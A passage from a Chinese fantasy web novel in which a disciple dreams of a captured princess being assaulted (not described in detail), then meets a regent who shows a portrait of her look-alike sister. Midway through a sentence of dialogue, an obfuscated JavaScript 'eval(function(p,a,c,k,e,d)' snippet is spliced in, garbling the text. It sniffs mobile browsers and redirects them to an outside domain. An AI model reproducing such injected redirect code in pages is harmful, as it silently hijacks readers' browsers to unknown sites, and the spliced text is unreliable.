那名将领瞬间跪倒在地，面色煞白道:“回、回将军的话，我等亲眼目睹康乐公主从山崖上掉了下去，可等我们追过去的时候，她……她突然不见了！” “什么叫突然不见了？！”楚清鸿抬起脚，一脚踹在了那名将领的胸口上，“青天白日，一个大活人你们都能跟丢，我要你们有什么用？！一群废物！没找到人你们回来干什么？！” 那名将领慌慌张张地从地上爬了起来，战战兢兢道:“回将军的话，属下想着，一个养尊处优的公主而已，即便没死，也……” “什么叫一个公主而已？！”楚清鸿又是一脚朝那将领踹了过去，“出去给我找！活要见人，死要见尸！找不到人，你们也别回来了！” 待那将领走后，楚清鸿的目光又落在了永昌公主的脸上，口水恨不能流三尺长。 他伸手掐住永昌公主的下颌，神色贪婪道:“南宫瑶，只要你肯乖乖听孤的话，孤保证，等找到你妹妹，绝对不伤她，如何？” 南宫瑶瞪着他不说话。 楚清鸿哈哈大笑了起来。 林惜英如何能不知道楚清鸿的言外之意，可她什么都做不了，只能眼睁睁地看着南宫瑶被楚清鸿关进了他的后宫，日复一日，受尽折辱。 面前的尸山血海转瞬不见，取而代之的是一座华丽的宫殿，殿内，楚清鸿屏退宫女，抱起南宫瑶就往床榻上走去。 “楚清鸿你放开我！你放开我！！” 无论南宫瑶如何挣扎，楚清鸿充耳不闻，将她扔在床榻上，伸手就去扒她的衣物。 “不许碰她！不许碰她！！”林惜英冲了过去想要阻止楚清鸿的恶行，却只抓到了一片虚无。 眼看南宫瑶身上的衣物一件比一件少，林惜英慌忙转过身去，不忍再看，并将耳朵也捂上。然而即便如此，她依旧能听到南宫瑶的哭泣声。 她受不了了，拔腿奔向殿外，捂着自己的耳朵嘶声大喊了起来，企图将自己从睡梦中喊醒。 “林惜英！快醒过来！快醒过来！！” 53. 人间41 “啊！！！鬼啊！！！” 洛纤凝是被一张奇丑无比的大脸给吓醒的。 昨夜她做了一个很奇怪的梦，梦里她身披金甲，手持利剑，脚踏一条黑龙，遨游于天际，好不威风。 不知飞了多久，她觉得有些腻了，遂蹲下身，摸了摸那黑龙的脑袋，喜滋滋道:“辛苦了小黑龙，回头请你吃糖，咱们快下去吧，再飞我就要晕了。” 小黑龙仿佛被她这话给激励到了，长啸一声，飞得越发快了，长长的尾巴在后面甩来甩去，甩得她险些摔了下去。 她趴在小黑龙的背上，紧紧地抓住他的龙角，怎么也没有想到，等降落到地面时，小黑龙摇身一变，竟变成了…… “沐灵泽？！”洛纤凝惊诧道，“怎么是你？！你刚才飞那么快，想摔死我啊？！” 沐灵泽扭头看她，眉心一蹙，正要答话，忽然，一道流沙般粗哑深沉的声音插了过来:“曦昀！” 洛纤凝循声望去…… 这不看不要紧，一看吓一跳，吓得她剑都扔了。 我的天，好丑的一张脸，简直比仇天霸还丑！ 她当即大喊一声，把自己给吓醒了。 从笑正睡得香，就听见有人在喊鬼来了，她一骨碌从床榻上跳了起来，四处张望道:“鬼？哪儿有鬼？鬼在……阿凝姐姐，你在干嘛？” 洛纤凝翻着白眼，耷拉着脑袋道:“没什么，就是……做了一个噩梦。” 真是奇了怪了，她洛纤凝有朝一日竟能被鬼给吓醒，她以前从来不怕鬼的。 都怪这鬼长得太丑，简直丑得惨绝人寰！惨无人道！ 对了，方才那鬼在喊什么？西云？还是夕云？那是谁？难道是曦昀？ 不可能！ 不管了，一个梦而已，管这干嘛？ 她拍了拍从笑的肩膀，道:“放心，没有鬼，是你阿凝姐姐我梦到鬼了。” 从笑:“……” 阿凝姐姐竟然会被鬼给吓到？真是怪哉。 洛纤凝伸了一个大大的懒腰，抓过衣裳穿好，又跳下床穿好靴子，匆匆洗漱一番后，哼着小曲儿拉着从笑朝外走去。 沐灵泽和柳惜朝早已睡醒，在走廊内活动筋骨，见了洛纤凝，沐灵泽三两步蹦了过来，笑嘻嘻道:“怎么样？忘了没？” 洛纤凝一时没反应过来:“忘什么？” 沐灵泽帮她回忆道:“就是昨天那位大哥被老虎给吃了……” “停！”洛纤凝抬手打断他，怒目圆睁道:“沐灵泽，你烦不烦？我好不容易才把那事给忘了，你这么一说，我又想起来了！你拿什么赔我？！” 沐灵泽:“……” 他眨了眨眼，道:“那……要不你今晚再睡一觉，明天我不提了？” 洛纤凝白了他一眼，走到柳惜朝跟前问道:“大师兄，师姐还没醒么？” 柳惜朝摇头:“没有。” 洛纤凝又去问沐灵泽:“沐姐姐和少华师姐他们醒了没？” 沐灵泽道:“早就醒了，这不，刚出客栈。” 他说完朝自己房间走去，推开门朝里吼道:“沐辰风！别睡了！再睡太阳就晒屁股啦！” 不过一刻钟的时间，沐辰风就揉着眼睛打着哈欠从房间里迈了出来，嘴里嘟囔道:“好饿啊，你们怎么起这么早……笑笑，你吃早饭了没？没有啊，走，阿辰哥哥带你去吃早饭，吃完早饭我们出去接着逛。” “……” 洛纤凝和柳惜朝觉得很是奇怪——沐辰风这个大懒虫都醒了，林惜英竟然还没有动静。 洛纤凝溜到林惜英房间外，敲了敲门，道:“师姐？你醒了没？” 话音刚落，屋内就传来一阵响动，听着像是杯子碎裂的声音，以及桌子和凳子移动的声音。 洛纤凝一急，踹开房门就冲了进去。 “师姐！师姐你怎么了？！” 见林惜英瘫在桌旁，双手抱着自己的头，一张脸要多白有多白，柳惜朝忙蹲下身问道:“是不是头疾又犯了？快，阿凝，扶惜英起来，我这里有药，吃了就好了。” 说着便从怀中摸出一瓶药丸，塞进了洛纤凝的手里，又起身去给林惜英倒水。 沐灵泽杵在房门外，看着屋内正在给林惜英喂药的洛纤凝，结结巴巴道:“这是……怎么了？林师姐她……没事儿吧？” 然而没有人搭理他。 洛纤凝拍着林惜英的背，一脸担忧道:“师姐，你感觉怎么样了？好点了没？要不要再睡一觉？” 林惜英放下水杯，摇了摇头:“不用了，我没事，我想出去透透气。” 她不敢睡，她只要一睡着，就会梦到那个可怕的梦，梦到那个名叫苏鸢的女子自刎在她的面前，以及那个名叫南宫瑶的女子如何被人凌辱…… 洛纤凝与柳惜朝对望了一眼，柳惜朝道:“好，惜英，我们陪你一起。” 一行六人浩浩荡荡地便出了门，走了一会儿后，洛纤凝问林惜英:“师姐，你好点了没？” 林惜英双目无神:“嗯，好点了。” 洛纤凝又道:“师姐，你说你小时候到底受了什么伤？怎么连琼芳长老都治不好你这病？” 林惜英:“……我也不知道。” 洛纤凝:“……好吧。” 又走了大概半个多时辰，忽听得一阵整齐沉重的脚步声自后方响起，六个人停下脚步扭头望去，只见周遭行人尽数被清空，取而代之的是一群身着甲胄、手持长枪的人。 “……什么情况？”洛纤凝疑道。 他们是犯什么事了么？ “这怎么回事？”沐灵泽和沐辰风也发出了疑惑。 从笑更是害怕地躲在了沐辰风的身后，虽然怎么躲后面都有官兵盯着她。 她小声对沐辰风道:“阿辰哥哥，他们不会发现我是妖，想把我抓起来吧？” “啊？！”沐辰风大惊，忙不迭抓紧了她的手臂，“笑笑别怕，阿辰哥哥绝对不会让任何人把你带走！” 柳惜朝也是一头雾水，但作为大师兄，他自当冲在最前面。他面朝其中一名官兵，礼貌地询问道:“这位官兵大哥，请问我们是犯了什么事么？” 怎料那官兵目视前方，丝毫不理会他，甚至连眼睛都不眨一下，如同死人一般。 柳惜朝:“……” 正困惑着，余光就瞥见身侧的官兵挪动脚步，让出了一条道来。 他转过身，映入眼帘的，便是一名长相极为俊美的青年男子。 这男子大概三十岁出头的年纪，身形和个头皆是适中，衣袍极黑，肤色却是极白。他手持一把墨色折扇，在手中缓缓摇着，一双眼睛如同被水墨勾勒而出，黝黑而又深邃，是他从未见过的好看。 这男子生得温文尔雅，可他身后跟着的那两名侍卫模样的人，却与他截然相反，一副戾气冲天、随时要拔刀砍人的表情。 柳惜朝回过神来，上前一步挡在男子的面前，温声道:“敢问阁下何人？因何拦我们的路？” 男子仿佛没看见柳惜朝，也没听见柳惜朝的话，绕过柳惜朝就朝洛纤凝和林惜英走去。他身后那名模样寻常的侍卫盯着柳惜朝，神情倨傲道:“我家殿下做什么事，还轮不到向你解释！” 此言一出，几个人皆是一惊。 殿下？柳惜朝皱眉道:“莫非是摄政王殿下？” “正是！”玄翼抬起下巴，用鼻孔看着柳惜朝，旋即将目光移到了慕容辞的身上，似乎一句话都不想与柳惜朝多说。 “我管你什么殿下！”见慕容辞一双眼睛直往林惜英脸上瞅，洛纤凝呲溜一声挡在了林惜英的面前，大声斥道:“这位大叔，请问我们认识你么？好端端的，你凭什么挡我们的道？！还看我师姐，看什么看？没见过美女啊？！” 这该死的慕容辞，拿活人当消遣就算了，如今倒好，竟然将主意打到了林惜英的身上。也不知道他是什么时候瞧上林惜英的，该不会是昨天在生死场吧？ 都怪师姐这张脸，实在是太引人注目了，早知道她就应该拿个什么东西把师姐的脸给遮住，省得她天天遭歹人惦记。 “怎么跟我家殿下说话呢？！”见洛纤凝对慕容辞出言不敬，玄翼忍不住朝她喝道。 这一喝，没吓到洛纤凝，倒是把柳惜朝给吓到了。柳惜朝赶忙冲洛纤凝使了个眼色，示意她不要轻举妄动，又去看慕容辞。 这人倒是一点都未生气，反而摇了摇手中的折扇，微笑着道:“无妨，玄翼，莫要吓着人家小姑娘。” 玄翼冷哼一声，转过脸去。 柳惜朝再次问道:“敢问摄政王殿下，因何拦我们的路？” 然而慕容辞依旧没有搭理他，目光古怪地在洛纤凝的脸上绕了一圈后，最终又落在了林惜英的脸上，笑吟吟道:“这位姑娘好生眼熟啊，我好像在哪里见过。” 果然，被自己给猜对了。洛纤凝双手叉腰，怒发冲冠道:“我知道你想说什么！你是不是想说，你也在梦里见过我师姐？我告诉你，每一个惦记我师姐的歹人都是这么说的！你休想打我师姐的主意！否则休怪我对你不客气！” 不亏是洛纤凝，天王老子下凡她都不带怕的。柳惜朝不禁为她捏了一把汗，拼了命地向她使眼色，示意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16210662|166943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她说话客气一点，毕竟这里是人家的地盘，咱们得罪不起。 他急得喉咙都快冒烟了，却不料那慕容辞竟放声大笑了起来，笑声很是欢快。 这让洛纤凝很是摸不着头脑，她想，此人莫不是有病吧？若不是这张脸长得好看，她早就一拳砸过去了。 就在洛纤凝即将失去耐心，想要破口大骂之时，慕容辞终于笑完了。他盯着洛纤凝的眼睛，挑眉笑道:“这位姑娘想多了，在下对你师姐并未有任何非分之想，在下只是觉得，你师姐与那北黎的南宫贵妃长得很是相像，至少得有……五分像吧。” 洛纤凝:“……” 北黎的南宫贵妃？那是谁？ 她转头去看林惜英，却见她的脸色愈发苍白了。 她不由一怔，问慕容辞:“什么南宫贵妃？你在胡说八道什么？” 慕容辞道:“姑娘若是不信，我这里有一幅南宫贵妃的画像，我可以把她送给你。”说着竟真的从他那宽大的衣袖中摸出了一幅画来。 “不必了！”林惜英突然开口，故作镇静道，尽管内心早已惊涛骇浪，“世间相像之人何其多，别说五分像，便是七分像、九分像都是有的。” 说完这话，林惜英拔腿就要离开，孰料迈出还没两步，就被一道高大的黑影挡住了去路。 她抬起头，看见面前之人一袭黑袍，宽肩阔背，身形伟岸，高鼻深目，五官硬朗，两道剑眉斜插入鬓，一双黑眸闪着寒光，一副怨气冲天的模样，活像谁欠了他万两黄金似的。 她面无表情地看着他，冷冷道:“让开！” 黑袍男子沉默不语。 “墨羽！莫要吓着人家小姑娘！”慕容辞走上前来，冲林惜英微微一笑，随即阴阳怪气道:“姑娘方才所言，确实有道理。我只是觉得，这南宫贵妃很是可怜啊，十年来受尽屈辱，生不如死，甚至还为仇人生了一个孩子，而她的妹妹如今也不知道在哪儿逍遥快活，国仇家恨，只怕早已忘得一干二净！这位姑娘，你觉得我说得有道理么？她这个妹妹是不是很没良心？” 这下傻子都应该听出来，慕容辞话中所指之人是谁了。 洛纤凝劈手夺过慕容辞手中的画，展开一看，登时大吃一惊:“师姐！这人真的和你长得很像唉！该不会你们真的是一个爹娘生的吧？” 其余四人听见洛纤凝这话，纷纷凑了过来，想要一探究竟。 只见画中那女子，果然与林惜英长得颇为相像，简直就是一个模子里刻出来的，若非梳着妇人发髻，他们当真要以为这人是林惜英了。 见林惜英盯着画中的女子迟迟不语，洛纤凝忍不住问道:“师姐，你仔细看看，你认识她么？她是你姐姐么？师姐，你怎么不说话？你找到亲人了？你不开心么？” “开心什么啊？”沐灵泽拽了拽洛纤凝的衣袖，凑到她耳边低声道，“你没听方才这人说，南宫贵妃为她的仇人生了一个孩子么？仇人！” 洛纤凝这才反应过来，气得想给自己一个巴掌。 倘若这南宫贵妃当真是师姐的亲姐姐，那她现在被仇人折磨得生不如死，还给仇人生了一个孩子，师姐想必气都气死了，何谈开心？ 她转头去看慕容辞，毫不客气道:“那个谁，你方才那话什么意思？南宫贵妃之前是什么人？为什么会被她的仇人抓去？你又为什么要告诉我们这些？” 慕容辞垂着眼不说话，一双黝黑的瞳孔在洛纤凝的脸上不停地打着转，一会儿看看她的眼睛，一会儿看看她的鼻子，一会儿又盯着她的嘴巴看，没个停下的时候。 洛纤凝觉得他看自己的眼神很是奇怪，正要骂他看什么看，就瞥见他唇角一弯，轻飘飘道:“无可奉告。我们走！” “……嘿！”洛纤凝被慕容辞贱兮兮的表情给气到了，盯着他的背影啐道:“有病吧你？！你的画不要了？！” “送你了！”慕容辞头也不回地说道。 洛纤凝:“……” 柳惜朝松了一口气，自言自语道:“虚惊一场。看不出来，这个摄政王脾气还挺好的。” 说完这话，他脸色一冷，挥起拳头敲了敲洛纤凝的脑袋:“让你嘴快！怎么跟人家说话呢？不怕惹祸上身么？！” “啊！”洛纤凝抱着脑袋窜到了林惜英的身后，可怜巴巴道:“师姐，你看大师兄他又打我！对了师姐，这画里的女子到底是不是你姐姐？你到底认不认识她？” “……我不知道，我不知道！”林惜英一把扔了那画，转身朝客栈跑去。 其余五个人被她这激烈的反应给吓了一大跳，迟疑片刻后，着急忙慌地追了过去。